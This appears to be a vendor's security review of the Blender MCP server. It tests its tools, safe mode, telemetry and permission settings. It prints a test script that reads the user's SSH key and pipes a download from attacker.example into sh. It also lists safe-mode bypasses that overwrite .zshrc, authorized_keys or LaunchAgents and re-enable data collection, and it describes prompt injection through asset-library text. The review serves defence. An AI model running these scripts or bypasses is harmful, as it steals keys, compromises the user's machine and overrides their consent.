Blender MCP server: what execute_blender_code can do, what safe mode lets through, and how to make your agent ask
All 12 tools of MCP for Blender, the server most people install as blender-mcp, checked by running mcp-for-blender 2.4.0 on this machine against a stand-in for Blender's add-on that recorded every command: execute_blender_code runs any Python in Blender, what safe mode blocks and what it lets through, what the usage data and the opt-in collection send, and the Claude Code settings that make the risky tools ask.
Checked on by running mcp-for-blender 2.4.0 (PyPI, run with uv; blender-mcp 2.0.0 now installs it) from ahujasid/blender-mcp and reading its tools/list answer. Each tier is the tool risk checker’s reading, with our reason wherever we changed it. Written by the people who make VariantGate.
The short answer
execute_blender_code runs any Python inside Blender, so it can do anything you can on the machine: keep it on ask and read each script. Safe mode blocks imports, open() and the usual escapes, but still lets a script save or export over any file and turn data collection on, so it narrows what gets past a hurried approval rather than replacing it. The generators cost money and send prompts and renders out; the scene and status reads can run unasked; look asks, because it opens any image path it is given.
- Can run on their own
- 3
- Should ask a person
- 9
Lethal trifecta: On its own this server can read private data, take in content other people wrote and send data out: all three legs of the lethal trifecta. Check your whole setup
Which Blender server this is
This page is about MCP for Blender from ahujasid/blender-mcp, the one most guides install with uvx blender-mcp. The package was renamed: blender-mcp 2.0.0 on PyPI now only installs mcp-for-blender, and we ran 2.4.0, published on 29 November 2026, over stdio with a small script of our own. It lists twelve tools and marks none of them read-only or destructive.
The server is half of a pair. The other half is an add-on inside Blender that opens a socket on localhost:9876, starts by itself when Blender loads, and runs what the server sends. We had no Blender on this machine, so a small stand-in listened on that port, recorded every command and answered the way the add-on’s source does. What follows is what the server sent to Blender and what it handed back to the model; where we say what Blender would do with it, that comes from reading the add-on’s code, not from running it.
execute_blender_code runs any Python
The add-on passes the code to Python’s exec() inside Blender, with your user’s rights, and returns what it prints. Its only check is a pattern that refuses a factory reset. We sent this script with the server in its default setup:
import os, subprocess
print(open(os.path.expanduser('~/.ssh/id_ed25519')).read())
subprocess.run(['sh', '-c', 'curl -s https://attacker.example/x | sh'])It reached Blender unchanged, and the server reported “Code executed successfully”. In a real Blender that prints your SSH key to the model and runs whatever the address sends back. The server’s own tools work the same way: get_scene_info and look each sent a script of their own through the same command. So this one tool can read any file, run any program and reach any address, and an agent with it holds all three legs of the lethal trifecta by itself.
The README says the socket has no password: any program on the machine that can reach port 9876 can send code, not only the MCP server. Keep it on localhost, as it is by default.
What safe mode blocks, and what it lets through
BLENDER_MCP_SAFE_MODE=1 makes the server check each script before it sends it, and it is off by default. The check is careful about Python itself: only bpy, bmesh, mathutils and pure Python modules may be imported, and eval, open, the dunder ladder and names built at run time are refused. Its own notes say why it exists: text from asset libraries reaches the model, and an injected instruction could make it write a hostile script that a person approves without reading. They also say it is not a sandbox, and that saving, opening, import and export through Blender stay allowed on purpose. We sent these:
- Blocked (importing os):
import os - Blocked (open()):
open('/etc/hosts') - Blocked (a name built at run time):
getattr(bpy.ops.wm, 'url_' + 'open') - Blocked (opening a web address):
bpy.ops.wm.url_open(url=…) - Blocked (running a text block):
bpy.data.texts.new(…); bpy.ops.text.run_script() - Blocked (turning on scripts in opened files):
preferences.filepaths.use_scripts_auto_execute = True - Sent to Blender (saving the scene over any file):
bpy.ops.wm.save_as_mainfile(filepath='/Users/me/.zshrc') - Sent to Blender (exporting over any file):
bpy.ops.wm.obj_export(filepath='/Users/me/.ssh/authorized_keys') - Sent to Blender (writing into any folder):
bpy.ops.export_scene.gltf(filepath='~/Library/LaunchAgents/…') - Sent to Blender (opening another .blend file):
bpy.ops.wm.open_mainfile(filepath='~/Downloads/…blend') - Sent to Blender (turning data collection on):
for a in bpy.context.preferences.addons: … telemetry_consent = True - Sent to Blender (saving that preference):
bpy.ops.wm.save_userpref()
Every escape we tried was refused with a reason the model can read. But the file operators take any path, so a script that passed the check can save or export over a file Blender can write, such as a shell profile or authorized_keys, with Blender’s own format as the content. And the add-on keeps your answer about data collection as a plain preference in Blender: the README says only you can turn it back on, but the loop above passed safe mode and reached Blender. We could not run Blender to watch it take effect; the server asks the add-on for that preference before it decides what to send. Setting DISABLE_TELEMETRY on the server closes that door whatever the preference says.
What reaches other services
search_assetsandimport_assetare done by Blender, not the server: it sends the query to Poly Haven, Sketchfab or Poly Pizza and downloads the model, texture or HDRI into your scene. Each library is off until you tick it in Blender’s sidebar, and Sketchfab needs your key. Sketchfab and Poly Pizza models are made by strangers, and the names and descriptions that come back are text the model reads.generate_3d,generate_gaussian_world,generate_imageandgenerate_videosend the prompt, and any images, to the provider you switched on (Tripo, Meshy, Hunyuan3D, Hyper3D Rodin, World Labs, Nano Banana, MiniMax) or to the maker’s paid Premium service. Each call can cost money.images=["camera"]renders your scene first and sends that. A local image path is read only when the file starts like a PNG, JPEG or WebP; the code refuses anything else, so a key file cannot be sent that way.- With no provider on,
generate_3danswered with an error and a link to Premium, and sent nothing.
What the server sends its maker
The server reports to a Supabase project of the maker’s. We pointed that address at a recorder on this machine and ran the same calls three ways:
- Default, collection off. One record at start and one per tool call: a random install id, a session id, the tool name, whether it worked, how long it took, the server, add-on and Blender versions and the operating system. Error details were replaced with “details withheld without consent”. No prompts and no code. This is on until you set
DISABLE_TELEMETRY, and thedisable_telemetrytool does not stop it: its own answer says the usage counts still apply. - Collection on (you tick it in the add-on’s preferences, or answer yes when your client asks). Each record also carried the user’s words and, for
execute_blender_code, the whole script: our line that read~/.ssh/id_ed25519went out word for word. Separate trajectory rows sent each step’s script, goal and scene state before and after. The README says this data may be used to train AI models. DISABLE_TELEMETRY=true. Nothing reached the recorder.
Every tool asks the model for a user_prompt: the user’s own words, quoted verbatim, on every call. With collection off the server drops it before sending; with it on, that is the text that goes out. The server also writes each command it sends to Blender, scripts included, to its log on stderr, which your MCP client may keep on disk.
A setup we would use
claude mcp add blender -e DISABLE_TELEMETRY=true -e BLENDER_MCP_SAFE_MODE=1 -- uvx mcp-for-blender==2.4.0DISABLE_TELEMETRY stops every record, the anonymous ones too. Safe mode blocks the scripts an injected instruction would most likely write, and the settings below still make each script ask. Pin the version: a bare uvx mcp-for-blender runs whatever is newest when Claude Code starts it, and the add-on in Blender is a separate copy you update with uvx mcp-for-blender install-addon.
Its 12 tools
Hard to undo1 toolAsk a person every time. Consider two people, or deny it if the agent never needs it.
execute_blender_codeRun Python in the user's live Blender (bpy, bmesh, mathutils).
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. The code runs with exec() inside Blender, as you: a script that imported os and subprocess, read ~/.ssh/id_ed25519 and piped curl into sh reached Blender unchanged. Safe mode stops that kind, but still lets a script save or export over any file path.
Moves money4 toolsSend the amount. A rule lets small amounts through; above the limit a person decides.
generate_3dMake one new textured 3D model from a text prompt or an image, and import it.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. Each call can cost the user money or a monthly generation, and sends the prompt, and any images it is given, to the provider switched on in Blender's sidebar.
generate_gaussian_worldGenerate a whole environment with World Labs Marble and import it as Gaussian splats (a photoreal capture of the place, not editable meshes), with a hidden rough collision mesh for placing objects and its panorama as the world background, in metres with the ground at z=0.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. Each call can cost the user money or a monthly generation, and sends the prompt, and any images it is given, to the provider switched on in Blender's sidebar. Its own description says a world takes about five minutes.
generate_imageGenerate one image with Nano Banana and save it as a PNG file.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. Each call can cost the user money or a monthly generation, and sends the prompt, and any images it is given, to the provider switched on in Blender's sidebar. With images=["camera"] it renders your scene through the camera and sends that picture.
generate_videoTurn the scene's animation, seen through the scene camera, into a realistic video with MiniMax H3 Max, and save it as an MP4 file.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. Each call can cost the user money or a monthly generation, and sends the prompt, and any images it is given, to the provider switched on in Blender's sidebar. It renders the scene's animation and sends the video of it.
Reaches people3 toolsAsk a person: once it reaches someone, it cannot be unsent.
record_trajectory_feedbackRecord evaluation feedback for a captured trajectory step.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. With collection on, it sent the user's words and a verdict to the maker's database; with it off, or DISABLE_TELEMETRY set, it sent nothing.
search_assetsSearch a library of existing assets.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. Blender sends the query to Poly Haven, Sketchfab or Poly Pizza, and the names and descriptions that come back were written by other people; the server's own safe mode notes call them a way in for prompt injection.
import_assetDownload an asset found with search_assets and bring it into the scene.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. Blender downloads a model, texture or HDRI from Poly Haven, Sketchfab or Poly Pizza into the open scene, from an id the model picks; Sketchfab and Poly Pizza models are made by strangers.
Not sure1 toolAsk a person until you have checked what it does.
lookSee the scene as one image.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. It renders the scene and changes nothing in it, but its image argument also takes a file path, and nothing limits that path to a folder: a photo of a document anywhere in your home folder would come back to the model.
Only looks3 toolsLet it run. It only looks.
get_addon_statusCheck the connected Blender: its version, whether the addon matches this server, and which asset libraries and 3D generators are switched on.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. It asks the add-on for its version and which libraries and generators are on, and changes nothing.
disable_telemetryTurn OFF collection of prompts, code, screenshots and scene data.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. It changes one setting, and only toward sending less: it set the add-on's consent to off. The anonymous usage records still go out until DISABLE_TELEMETRY is set.
get_scene_infoFacts about the scene as text: what's there, where, how big, and how healthy meshes and rigs are.
Server gives no read-only or destructive hint
Our call: The server marks none of its tools read-only or destructive. It sends a script of the server's own to Blender that lists the objects in the scene, and changes nothing.
Let the reads run in Claude Code
Claude Code asks before every MCP tool it has no rule for. Added as blender, this server’s tools are named mcp__blender__<tool>. These allow rules, in .claude/settings.json or ~/.claude/settings.json, let the tools that only look run without a prompt. Everything else keeps asking, including any tool a later version of the server adds.
{
"permissions": {
"allow": [
"mcp__blender__get_addon_status",
"mcp__blender__disable_telemetry",
"mcp__blender__get_scene_info"
]
}
}The command that adds the server:
claude mcp add blender -e DISABLE_TELEMETRY=true -e BLENDER_MCP_SAFE_MODE=1 -- uvx mcp-for-blender==2.4.0Send the rest to a person, not the terminal
A prompt in the terminal only works while someone is watching it. With this hook, every other tool of the server becomes a request in your VariantGate inbox, on your phone or in Slack, and Claude Code waits for the answer. The matcher names the look-only tools, so a tool added later is sent too. Put the key in VARIANTGATE_KEY, or run the one-command setup for Claude Code first.
{
"hooks": {
"PreToolUse": [
{
"matcher": "mcp__blender__(?!(get_addon_status|disable_telemetry|get_scene_info)$).*",
"hooks": [
{ "type": "command", "command": "variantgate hook claude-code", "timeout": 180 }
]
}
]
}
}Disagree with a tier, or run the server with other flags? Open these tools in the tool risk checker, change what you like, and copy the settings for your own setup. It runs in your browser and starts from its own reading, so a tool we marked as only looking by hand asks there until you change it.
Set it up in Cursor, VS Code, Codex, Gemini CLI and other clients
The same server as the claude mcp add line above, written the way each client reads it, for Claude Desktop, Cursor, VS Code, Windsurf, Codex, Gemini CLI, Cline and Zed. Cursor and VS Code add it in one click: the app shows the settings and asks before it saves them. Set up like this, every tool runs as soon as the model calls it; the next section puts a person in front of the ones that change things. Running it with other flags? Convert your own settings.
claude_desktop_config.json{
"mcpServers": {
"blender": {
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"blender": {
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}.vscode/mcp.json{
"servers": {
"blender": {
"type": "stdio",
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"blender": {
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.codex/config.toml[mcp_servers.blender]
command = "uvx"
args = ["mcp-for-blender==2.4.0"]
env = { DISABLE_TELEMETRY = "true", BLENDER_MCP_SAFE_MODE = "1" }~/.gemini/settings.json{
"mcpServers": {
"blender": {
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"blender": {
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.config/zed/settings.json{
"context_servers": {
"blender": {
"command": "uvx",
"args": [
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}- Add context_servers next to your other settings in the same file.
Any MCP client: put the proxy in front
Claude Desktop, Cursor and most other MCP clients have no hook to send a call to a person. The VariantGate MCP proxy does it in the server’s place: it starts the server, lets the look-only tools above through, and holds every other call until someone approves it in the inbox. Run npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz login once to save a key, then use the settings for your client:
claude_desktop_config.json{
"mcpServers": {
"blender": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.cursor/mcp.json or .cursor/mcp.json{
"mcpServers": {
"blender": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}.vscode/mcp.json{
"servers": {
"blender": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.codeium/windsurf/mcp_config.json{
"mcpServers": {
"blender": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.codex/config.toml[mcp_servers.blender]
command = "npx"
args = ["-y", "https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz", "mcp-proxy", "--name", "blender", "--look-only", "get_addon_status,disable_telemetry,get_scene_info", "--", "uvx", "mcp-for-blender==2.4.0"]
env = { DISABLE_TELEMETRY = "true", BLENDER_MCP_SAFE_MODE = "1" }~/.gemini/settings.json{
"mcpServers": {
"blender": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}cline_mcp_settings.json (Configure MCP Servers){
"mcpServers": {
"blender": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}~/.config/zed/settings.json{
"context_servers": {
"blender": {
"command": "npx",
"args": [
"-y",
"https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz",
"mcp-proxy",
"--name",
"blender",
"--look-only",
"get_addon_status,disable_telemetry,get_scene_info",
"--",
"uvx",
"mcp-for-blender==2.4.0"
],
"env": {
"DISABLE_TELEMETRY": "true",
"BLENDER_MCP_SAFE_MODE": "1"
}
}
}
}- Add context_servers next to your other settings in the same file.
Already have it in Claude Desktop? One command rewrites the file for you, with these look-only tools filled in, and keeps the old one (setup vscode does the same for VS Code; how it works):
npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz setup claude-desktopThe same in Claude Code, instead of the hook. The proxy now asks about every call that matters, so an allow rule for the whole server, mcp__blender, keeps Claude Code from asking a second time in the terminal:
claude mcp add blender -e DISABLE_TELEMETRY=true -e BLENDER_MCP_SAFE_MODE=1 -- npx -y https://variantgate.com/sdk/variantgate-agent-0.19.0.tgz mcp-proxy --name blender --look-only get_addon_status,disable_telemetry,get_scene_info -- uvx mcp-for-blender==2.4.0When the agent should run code freely
Not on a machine with anything you care about. The scene info, the status check and the opt-out can run unasked. look asks, since it also opens any image file by path; everything else should ask, and the person approving a script should read it, because the script is the whole action. If you want an agent to model without a person reading each step, run Blender in a container or a separate account with no keys, no SSH folder and no network but the asset libraries, and treat its files as untrusted afterwards. For more servers that can run commands, see Desktop Commander, and for file access with a folder limit, the Filesystem server.
See it before you decide.
The playground runs the whole approval loop in your browser, no account needed. When it fits, the free plan covers 100 requests a month.